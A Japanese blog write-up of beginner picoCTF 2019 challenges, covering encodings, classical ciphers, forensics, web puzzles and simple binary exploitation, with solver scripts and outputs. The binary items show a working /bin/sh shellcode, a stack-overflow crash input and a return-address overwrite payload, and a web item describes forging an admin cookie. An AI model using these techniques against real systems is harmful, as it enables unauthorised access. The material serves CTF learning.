中高生向けのCTF、picoCTF 2019 の write-up です。他の得点帯の write-up へのリンクはこちらを参照。
[General] The Factory's Secret (1pt)
There appear to be some mysterious glyphs hidden inside this abandoned factory... I wonder what would happen if you collected them all?
Hints
Submit your answer in our competition's flag format. For example, if you answer was 'hello', you would submit 'picoCTF{hello}' as the flag.
picoCTFのGameに飛ばされます。2018の時はやらなくても全問解けたんですけど、今回はGame必須のようです。時間がかかりそうだったので飛ばしていましたが、Walkthroughというヒントを得るためにGameをやっていたら、材料が集まっていました。
今回のGameはこんな感じ。ファミコン風。
気づいたら自分のPCのPasswordが書き換えられていた設定。脱出ゲームみある。
部屋を出ると、ミニゲームで遊べたり、各ジャンルの部屋に行って問題を見たりヒントを見たり出来ます。HackerTokenという、ミニゲームをしたりするともらえるポイントがあるので、それを使ってWalkthroughという第二のヒントみたいなのをもらうことも出来ます。
今回のこの問題は、各ジャンルの部屋に落ちてたり何かすると出てくるQRコードの断片を拾い集めていきます。全部拾うと、勝手にQRコードを繋いだやつを出してくれます。
このQRコードを読むと、password: xmfv53uqkf621gakvh502gxfu1g78glds
とあるので、これをGameの自分のPCに入力すると、こんな会話が見れます。
ということで、flagは picoCTF{zerozerozerozero}
[General] 2Warm (50pt)
Can you convert the number 42 (base 10) to binary (base 2)?
簡単なものは下記のようなサイトで確認しています。
10進の 42 は 2進で101010
なので、flagは picoCTF{101010}
[Forensics] Glory of the Garden (50pt)
This garden contains more than it seems. You can also find the file in /problems/glory-of-the-garden_6_7eeaa66ad1ee7a7b11096c8028a966dc on the shell server.
画像ファイルが配布されます。
string
コマンドで文字列を探してみます。
$ strings garden.jpg | grep picoCTF{ Here is a flag "picoCTF{more_than_m33ts_the_3y30cAf8c6B}"
出た!
[Web] Insp3ct0r (50pt)
Kishor Balan tipped us off that the following code may need inspection: https://2019shell1.picoctf.com/problem/9509/ (link)
指定されたurlに飛んでみます。
Howのタブをクリックしてみると、こんなメッセージが。
HTML, CSS, js に flagが隠れている予感です。HTMLのソースを表示してみます。
(略) <title>My First Website :)</title> <link href="https://fonts.googleapis.com/css?family=Open+Sans|Roboto" rel="stylesheet"> <link rel="stylesheet" type="text/css" href="mycss.css"> <script type="application/javascript" src="myjs.js"></script> (略) </p> <!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 --> </div> (略)
まず、flagの出だしっぽいのがコメントに書いてあります。
あとはリンクの mycss.css
, myjs.js
がアヤシイのでリンクをクリックして飛んでみます。
mycss.css の最後にこのコメント。
/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */
myjs.jsの最後にはこのコメントが。
/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?5281bfe9} */
全部をつなげるとflagになります。
flag: picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?5281bfe9}
[General] Lets Warm Up (50pt)
If I told you a word started with 0x70 in hexadecimal, what would it start with in ASCII?
簡単なものは下記のようなサイトで確認しています。
0x70 は p
なので、flagは picoCTF{p}
コードを書くならこんな感じ。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- hexadecimal = 0x70 print('picoCTF{' + chr(hexadecimal) + '}')
実行結果
$ python solve.py picoCTF{p}
[Crypto] The Numbers (50pt)
The numbers... what do they mean?
Hints
The flag is in the format PICOCTF{}
画像が配布されます。
16 9 3 15 3 20 6 { 20 8 5 14 21 13 2 5 18 19 13 1 19 15 14 }
なんとなくflagのフォーマットっぽいですね。
ヒントから、PICOCTF{}らしいので、こんな対応になりそう。
16 -> P 9 -> I 3 -> C 15 -> O 3 -> C 20 -> T 6 -> F
これはただのalphabet番号ですね。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import string cipher = '16 9 3 15 3 20 6 { 20 8 5 14 21 13 2 5 18 19 13 1 19 15 14 }' flag = '' for c in cipher.split(): if c.isnumeric(): flag += string.ascii_uppercase[int(c)-1] else: flag += c print(flag)
実行結果
$ python solve.py PICOCTF{THENUMBERSMASON}
[Binary] handy-shellcode (50pt)
This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_5_9e49e170b8dce9cca12337064a539100 on the shell server. Source.
Hints
You might be able to find some good shellcode online.
ソースコード vuln.c
と実行ファイル vuln
が配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter your shellcode:"); vuln(buf); puts("Thanks! Executing now..."); ((void (*)())buf)(); puts("Finishing Executing Shellcode. Exiting now..."); return 0; }
pwntoolの機能を使って、実行ファイルの形式を確認してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * e = ELF('vuln')
実行結果
$ python solve.py [*] '***/picoCTF_2019/Binary/50_handy-shellcode/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE
i386-32。
問題文とヒントから、オンラインでshellcodeを探してきて喰わせてあげれば良さそう。対象のアーキテクチャに合った、"/bin/sh" を起動するshellcodeを探します。
shellcodeが沢山置いてあるサイト shell-storm | Shellcodes Database を今回も利用します。
そしてなんか見たことあると思ったら picoCTF2018 shellcode に全く同じ問題がありました。ここに解法があるので、使えたshellcodeへのリンクと実行したコマンドだけ。
$ (echo -e "\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1"; cat) | ./vuln Enter your shellcode: h̀hh��hj X1�Rh//shh/bin��RS���� Thanks! Executing now... cat flag.txt picoCTF{h4ndY_d4ndY_sh311c0d3_0b440487}
[Binary] practice-run-1 (50pt)
You're going to need to know how to run programs if you're going to get out of here. Navigate to /problems/practice-run-1_0_c62697366758d52f964514f36a6f1d13 on the shell server and run this program to receive a flag.
Hints
How do you execute a program in a command line?
実行ファイルが配布されますが、shell server 上で実行します。
shell serverにログインし、指定されたディレクトリに移動します。
$ cd /problems/practice-run-1_0_c62697366758d52f964514f36a6f1d13 $ ls run_this
配布されたのと同じ実行ファイルがありました。実行してみます。
$ ./run_this picoCTF{g3t_r3adY_2_r3v3r53}
おや、flag出てしまった。handy-shellcodeと難易度が違いすぎやしないかい?
[Forensics] unzip (50pt)
Can you unzip this file and get the flag?
zipファイルが配布されます。落としてきてダブルクリックするだけで解凍されました。こんな画像が。
flag: picoCTF{unz1pp1ng_1s_3a5y}
どちらかというとこの画像からテキストを起こすほうが難しい。
[Reverse] vault-door-training (50pt)
Your mission is to enter Dr. Evil's laboratory and retrieve the blueprints for his Doomsday Project. The laboratory is protected by a series of locked vault doors. Each door is controlled by a computer and requires a password to open. Unfortunately, our undercover agents have not been able to obtain the secret passwords for the vault doors, but one of our junior agents obtained the source code for each vault's computer! You will need to read the source code for each level to figure out what the password is for that vault door. As a warmup, we have created a replica vault in our training facility. The source code for the training vault is here: VaultDoorTraining.java
問題文が長すぎて。
import java.util.*; class VaultDoorTraining { public static void main(String args[]) { VaultDoorTraining vaultDoor = new VaultDoorTraining(); Scanner scanner = new Scanner(System.in); System.out.print("Enter vault password: "); String userInput = scanner.next(); String input = userInput.substring("picoCTF{".length(),userInput.length()-1); if (vaultDoor.checkPassword(input)) { System.out.println("Access granted."); } else { System.out.println("Access denied!"); } } // The password is below. Is it safe to put the password in the source code? // What if somebody stole our source code? Then they would know what our // password is. Hmm... I will think of some ways to improve the security // on the other doors. // // -Minion #9567 public boolean checkPassword(String password) { return password.equals("w4rm1ng_Up_w1tH_jAv4_ba382529688"); } }
ユーザー入力で得た文字列を、そのまま checkPassword
関数で平文のまま突き合わせてチェックしています。この問題は、きっとコメント部分が重要で「ソースコードにパスワードをそのままハードコーディングするんじゃないよ!」ってのが伝えたいんだと思われます。
flag: picoCTF{w4rm1ng_Up_w1tH_jAv4_ba382529688}
[Crypto] 13 - Points (100pt)
Cryptography can be easy, do you know what ROT13 is?
cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}
ROT13なので、アルファベットを13文字ずらしてあげます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import string cipher = 'cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}' alphabet = list(string.ascii_uppercase) def rot13(c): return alphabet[(alphabet.index(c) + 13) % 26] plain = '' for c in cipher: if c.isupper(): plain += rot13(c) elif c.islower(): plain += rot13(c.upper()).lower() else: plain += c print(plain)
実行結果
$ python rot13.py picoCTF{not_too_bad_of_a_problem}
[General] Bases (100pt)
What does this bDNhcm5fdGgzX3IwcDM1 mean? I think it has something to do with bases.
名前と文字列(数値とアルファベットの大文字小文字が混在)を見る感じ、base64エンコードして有りそうなので base64 decode してあげます。
簡単そうな時はオンラインサイト使っちゃってます。Base64 Decode and Encode - Online
flag: picoCTF{l3arn_th3_r0p35}
[Crypto] Easy1 (100pt)
The one time pad can be cryptographically secure, but not when you know the key. Can you solve this? We've given you the encrypted flag, key, and a table to help UFJKXQZQUNB with the key of SOLVECRYPTO. Can you use this table to solve it?.
Hints
Submit your answer in our competition's flag format. For example, if you answer was 'hello', you would submit 'picoCTF{HELLO}' as the flag. Please use all caps for the message.
table.txt
が配布されます。
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z +---------------------------------------------------- A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
これはヴィジュネル暗号 のテーブルですね。
最初の文字は、暗号文が U
, keyが S
なので、テーブルの横indexから S
を探し、その列で U
が出てくる箇所を探します。その行のindexは C
なので、一文字目の平文は C
になります。これをプログラムにするとこんな感じ。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import string cipher = 'UFJKXQZQUNB' key = 'SOLVECRYPTO' alphabet = list(string.ascii_uppercase) def vigenere(c, k): diff = (alphabet.index(c) - alphabet.index(k)) % 26 return alphabet[diff] plain = '' for i in range(len(cipher)): plain += vigenere(cipher[i], key[i]) print('picoCTF{' + plain + '}')
実行結果
$ python vigenere.py picoCTF{CRYPTOISFUN}
[General] First Grep (100pt)
Can you find the flag in file? This would be really tedious to look through manually, something tells me there is a better way. You can also find the file in /problems/first-grep_4_304432c5b16897937e2091d4c65dbb32 on the shell server.
問題文から grep してフラグを探す問題のようです。
配布される file
を grep してみます。
$ grep picoCTF{ file picoCTF{grep_is_good_to_find_things_737a3686}
[Binary] OverFlow 0 (100pt)
This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_0_ecb5315ed848edab043809ca6f7ea317 on the shell server. Source.
実行ファイル vuln
とソースコード vuln.c
が配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[128]; strcpy(buf, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag,FLAGSIZE_MAX,f); signal(SIGSEGV, sigsegv_handler); gid_t gid = getegid(); setresgid(gid, gid, gid); if (argc > 1) { vuln(argv[1]); printf("You entered: %s", argv[1]); } else printf("Please enter an argument next time\n"); return 0; }
問題のタイトルから、Buffer Overflow の脆弱性を使う問題のようです。
ソースコードを見ると、flag.txt
を読み込んだ後、ユーザー入力を vuln
関数で表示しています。ユーザー入力に長い文字列を突っ込めば前に読み込んでメモリに書いてあるflagがペロッと出てきそうです。
本物の flag.txt
は shell server 上にあるので、shell server 上で実行します。
$ ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa picoCTF{3asY_P3a5yb6590325}
[General] Resources (100pt)
We put together a bunch of resources to help you out on our website! If you go over there, you might even find a flag! https://picoctf.com/resources (link)
リンク先に飛んでみると、こんなサイトが。ここに行けばflagが見つかるらしいけども。
いました。2019の方を入れると通りました。
[Crypto] caesar (100pt)
Decrypt this message. You can find the ciphertext in /problems/caesar_1_127161577a2c5495f66dc81b13bbba4f on the shell server.
ciphertext
が配布されます。
picoCTF{vkhllbgzmaxknubvhglzeipcie}
この{}の中がシーザー暗号になっているんでしょう。何文字ずらすかわからないので、アルファベットが1周するだけ(26文字)ずらして全部表示させてみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import string cipher = 'vkhllbgzmaxknubvhglzeipcie' alphabet = list(string.ascii_lowercase) def shift(c, num): return alphabet[(alphabet.index(c) + num) % 26] for i in range(26): plain = '' for c in cipher: plain += shift(c, i) print('picoCTF{' + plain + '}')
実行結果
$ python caesar.py picoCTF{vkhllbgzmaxknubvhglzeipcie} picoCTF{wlimmchanbylovcwihmafjqdjf} picoCTF{xmjnndiboczmpwdxjinbgkrekg} picoCTF{ynkooejcpdanqxeykjochlsflh} picoCTF{zolppfkdqeboryfzlkpdimtgmi} picoCTF{apmqqglerfcpszgamlqejnuhnj} picoCTF{bqnrrhmfsgdqtahbnmrfkoviok} picoCTF{crossingtherubiconsglpwjpl} picoCTF{dspttjohuifsvcjdpothmqxkqm} picoCTF{etquukpivjgtwdkeqpuinrylrn} picoCTF{furvvlqjwkhuxelfrqvjoszmso} picoCTF{gvswwmrkxlivyfmgsrwkptantp} picoCTF{hwtxxnslymjwzgnhtsxlqubouq} picoCTF{ixuyyotmznkxahoiutymrvcpvr} picoCTF{jyvzzpunaolybipjvuznswdqws} picoCTF{kzwaaqvobpmzcjqkwvaotxerxt} picoCTF{laxbbrwpcqnadkrlxwbpuyfsyu} picoCTF{mbyccsxqdrobelsmyxcqvzgtzv} picoCTF{nczddtyrespcfmtnzydrwahuaw} picoCTF{odaeeuzsftqdgnuoazesxbivbx} picoCTF{pebffvatgurehovpbaftycjwcy} picoCTF{qfcggwbuhvsfipwqcbguzdkxdz} picoCTF{rgdhhxcviwtgjqxrdchvaelyea} picoCTF{sheiiydwjxuhkrysediwbfmzfb} picoCTF{tifjjzexkyvilsztfejxcgnagc} picoCTF{ujgkkafylzwjmtaugfkydhobhd}
この中で意味が通りそうなやつを探します。これが一番意味が通りそう。
picoCTF{crossingtherubiconsglpwjpl}
flagも通った。
[Web] dont-use-client-side (100pt)
Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/39185/ (link)
Hints
Never trust the client
問題のタイトル・ヒントからして、クライアントサイドにflagが埋まってあるっぽい。クライアントサイドは不特定多数に配布するものなので、ここに大事な情報を入れちゃいけないよっていう、これも教育的なあれですかね。
ということで、クライアントに配布されたソースコードを確認してみます。
(略) <script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == '83b1') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_a') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == 'f}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } } </script> (略)
パスワードの照合ロジックが完全に書かれています。バラバラにされているので、順を追ってつなげてやるとこうなります。
flag: picoCTF{no_clients_plz_a83b1f}
[Web] logon (100pt)
The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? https://2019shell1.picoctf.com/problem/45163/ (link) or http://2019shell1.picoctf.com:45163
リンク先に飛ぶと、こんなページが。ログインとサインアウト機能のみのサイトのようです。
試しに適当に入れてログインすると入れました。ちなみにnameもpasswordも空欄でも入れます。
どうやら一般ユーザーにはflagを見せてくれないようです。adminでログインを試みます。usernameにadminを入れただけだと一般ユーザー扱いのようです。
ここで、Chromeの開発者ツールを使って、cookieを確認してみます。
おや、さっき入れたusernameもpasswordも全部ここに入っています。そして admin: False の cookieも。これを True に変えてやってページを更新してみます。
[General] strings it (100pt)
Can you find the flag in file without running it? You can also find the file in /problems/strings-it_1_fea6447aede6c878cc51ba0bab42decc on the shell server.
file
が配布されます。grepの問題と同様、今度はstringsコマンドでflagを探せそうです。
$ strings strings | grep picoCTF{ picoCTF{5tRIng5_1T_71313227}
[Reversing] vault-door-1 (100pt)
This vault uses some complicated arrays! I hope you can make sense of it, special agent. The source code for this vault is here: VaultDoor1.java
javaのソースが配布されます。
import java.util.*; class VaultDoor1 { public static void main(String args[]) { VaultDoor1 vaultDoor = new VaultDoor1(); Scanner scanner = new Scanner(System.in); System.out.print("Enter vault password: "); String userInput = scanner.next(); String input = userInput.substring("picoCTF{".length(),userInput.length()-1); if (vaultDoor.checkPassword(input)) { System.out.println("Access granted."); } else { System.out.println("Access denied!"); } } // I came up with a more secure way to check the password without putting // the password itself in the source code. I think this is going to be // UNHACKABLE!! I hope Dr. Evil agrees... // // -Minion #8728 public boolean checkPassword(String password) { return password.length() == 32 && password.charAt(0) == 'd' && password.charAt(29) == '3' && password.charAt(4) == 'r' && password.charAt(2) == '5' && password.charAt(23) == 'r' && password.charAt(3) == 'c' && password.charAt(17) == '4' && password.charAt(1) == '3' && password.charAt(7) == 'b' && password.charAt(10) == '_' && password.charAt(5) == '4' && password.charAt(9) == '3' && password.charAt(11) == 't' && password.charAt(15) == 'c' && password.charAt(8) == 'l' && password.charAt(12) == 'H' && password.charAt(20) == 'c' && password.charAt(14) == '_' && password.charAt(6) == 'm' && password.charAt(24) == '5' && password.charAt(18) == 'r' && password.charAt(13) == '3' && password.charAt(19) == '4' && password.charAt(21) == 'T' && password.charAt(16) == 'H' && password.charAt(27) == '3' && password.charAt(30) == '4' && password.charAt(25) == '_' && password.charAt(22) == '3' && password.charAt(28) == '8' && password.charAt(26) == 'f' && password.charAt(31) == '3'; } }
checkPasswird
の中のpassword.charAt(num)
を順番に並べ替えるだけで良さそうです。さっきのReversing問題 vault-door-training の続編っぽいですね。よりセキュアな方法を思いついたよ!とコメントにありますが、これでは丸見えとあまり変わらないよねっていう問題だと思う。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- charAt = {0: 'd', 29: '3', 4: 'r', 2: '5', 23: 'r', 3: 'c', 17: '4', 1: '3', 7: 'b', 10: '_', 5: '4', 9: '3', 11: 't', 15: 'c', 8: 'l', 12: 'H', 20: 'c', 14: '_', 6: 'm', 24: '5', 18: 'r', 13: '3', 19: '4', 21: 'T', 16: 'H', 27: '3', 30: '4', 25: '_', 22: '3', 28: '8', 26: 'f', 31: '3'} flag = "" for i in range(32): flag += charAt[i] print('picoCTF{' + flag + '}')
実行結果
$ python solve.py picoCTF{d35cr4mbl3_tH3_cH4r4cT3r5_f38343}
[General] what's a net cat? (100pt)
Using netcat (nc) is going to be pretty important. Can you connect to 2019shell1.picoctf.com at port 49816 to get the flag?
今度は netcat
コマンドの使い方の問題のようです。
$ nc 2019shell1.picoctf.com 49816 You're on your way to becoming the net cat master picoCTF{nEtCat_Mast3ry_de552a4a}
[Web] where are the robots (100pt)
Can you find the robots? https://2019shell1.picoctf.com/problem/32229/ (link) or http://2019shell1.picoctf.com:32229
今度はrobotに関する問題のようです。
robots.txtとは検索エンジンのクローラー(ロボット)のWEBページのへのアクセスを制限するためのファイルで、ロボットに向けた命令文(アクセスを許可/許可しない)を記述します。
出典: robots.txtとは | SEO用語集:意味/解説/SEO効果など [SEO HACKS]
問題のリンク先に飛んでみます。
なんの機能もないサイトのようです。ここで、robots.txtのありそうなパスに飛んでみます。robots.txtは名前が決まっている&ルート直下に置くので、きっとhttps://2019shell1.picoctf.com/problem/32229/robots.txt
にありそう。
ありました。アクセスを禁止しているパスが一つだけあります。飛んでみましょう。
https://2019shell1.picoctf.com/problem/32229/9ad15.html
[Binary] OverFlow 1 (150pt)
You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_6_cfdf3f2a47dd76fa6653a5140faf188e on the shell server. Source.
ソースコードvuln.c
と実行フィアルvuln
が配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "asm.h" #define BUFFSIZE 64 #define FLAGSIZE 64 void flag() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFFSIZE]; gets(buf); printf("Woah, were jumping to 0x%x !\n", get_return_address()); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Give me a string and lets see what happens: "); vuln(); return 0; }
mainからは呼ばれていないflag
関数を呼び出すと、flagを表示してくれそうです。
ひとまず実行してみます。
$ ./vuln Give me a string and lets see what happens: aaaa Woah, were jumping to 0x8048705 !
picoCTF2018の buffer overflow 1 と似た問題。こちらもwriteupは全く同じになるので、今回は簡単に。
flag
関数のアドレスを調べます。
$ objdump -d vuln | grep flag 080485e6 <flag>: 8048618: 75 1c jne 8048636 <flag+0x50>
今回の実行ファイルはリトルエンディアンなので、packすると\xe6\x85\x04\x08
になります。
stackはこんな感じ。
eax | buffer start | | <64+8 bytes> | | buffer end | ebp | <4 bytes> | return | |
64+8+4(=76)
バイトから先が、returnアドレスにあふれてきます。ということで今回は、76バイトを適当に埋めてあげて先程のflag
関数のアドレスを流します。
$ echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08" | ./vuln Give me a string and lets see what happens: Woah, were jumping to 0x80485e6 ! picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}Segmentation fault (core dumped)
[Forensics] So Meta (150pt)
Find the flag in this picture. You can also find the file in /problems/so-meta_0_9ac2819095168175302151e5babd13be.
下記のような画像(pico_img.png
)がダウンロードできます。
こちらもstrings
コマンドで見てみるとflagが出てきました。
$ strings pico_img.png | grep picoCTF{ picoCTF{s0_m3ta_74e57c5c}
[Forensics] What Lies Within (150pt)
Theres something in the building. Can you retrieve the flag?
Hints
There is data encoded somewhere, there might be an online decoder
また画像(buildings.png
)がダウンロードできます。
今回はstrings
コマンドでは何も出てきません。
ヒントにオンラインツールでdecodeできるっぽかったので、サイトを探してみます。
お、ありました!ここのDecodeに画像をアップして解析してもらうと、flagが出てきました!
[Forensics] extensions (150pt)
This is a really weird text file TXT? Can you find the flag?
タイトルと問題文から、拡張子に関する問題のようです。配布されるファイルはflag.txt
。
開いてみると、先頭にデカデカと PNG
の文字が…!
念の為、拡張子をファイルから外してfile
コマンドで見てみると
$ file flag flag: PNG image data, 1697 x 608, 8-bit/color RGB, non-interlaced
やっぱりPNGでした。flag.png
として開いてあげます。
しかし実は、macのFinderでサムネイルを表示してやると、もとのflag.txt
の状態でもflagが出てきていたのでした…。
[Forensics] shark on wire 1 (150pt)
We found this packet capture. Recover the flag. You can also find the file in /problems/shark-on-wire-1_0_606ee6b0b78f6987c7b12f43253b2d9b.
packet capture, shark, wire ということでwiresharkを使うと良さそう。packet captureが配布されるのでwire sharkで開いてみます。
2317行!序盤にしては長い…!
wireshark苦手なので、とりあえずテキストに吐き出してガチャガチャしてみます。
メニューの File
> Export Packet Dissections
> As Plain Text...
これで出来たファイルを眺めてみます。1.3Mもありました。
pico
とかflag
という文字列を探してみますがありません。{
で探してみると、2件だけHitしました。この通信のようです。
Frame 669: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) Ethernet II, Src: Vmware_b9:02:a9 (00:0c:29:b9:02:a9), Dst: Broadcast (ff:ff:ff:ff:ff:ff) Internet Protocol Version 4, Src: 10.0.0.2, Dst: 10.0.0.13 User Datagram Protocol, Src Port: 5000, Dst Port: 8888 Data (1 byte) 0000 7b {
おや、i byteのデータだけが送られてきて怪しい。これはフラグをばらして一文字ずつ送ってきてるパターンっぽいぞ。
あとは目星をつけて、この 1 byteずつ送られてきているデータの通信だけに絞ります。wiresharkのフィルタ機能が便利です。最終的にこんなフィルタがいい感じでした。
udp.srcport == 5000 && udp.dstport == 8888 && ip.dst == 10.0.0.12
この通信だけに絞ったものを、先程の容量でexportして、該当の行をgrepしてみます。
$ grep 0000 flag.txt 0000 70 p 0000 69 i 0000 63 c 0000 6f o 0000 43 C 0000 54 T 0000 46 F 0000 7b { 0000 53 S 0000 74 t 0000 61 a 0000 54 T 0000 33 3 0000 31 1 0000 33 3 0000 35 5 0000 35 5 0000 5f _ 0000 36 6 0000 33 3 0000 36 6 0000 66 f 0000 36 6 0000 65 e 0000 36 6 0000 65 e 0000 7d }
flag: picoCTF{StaT31355_636f6e6e}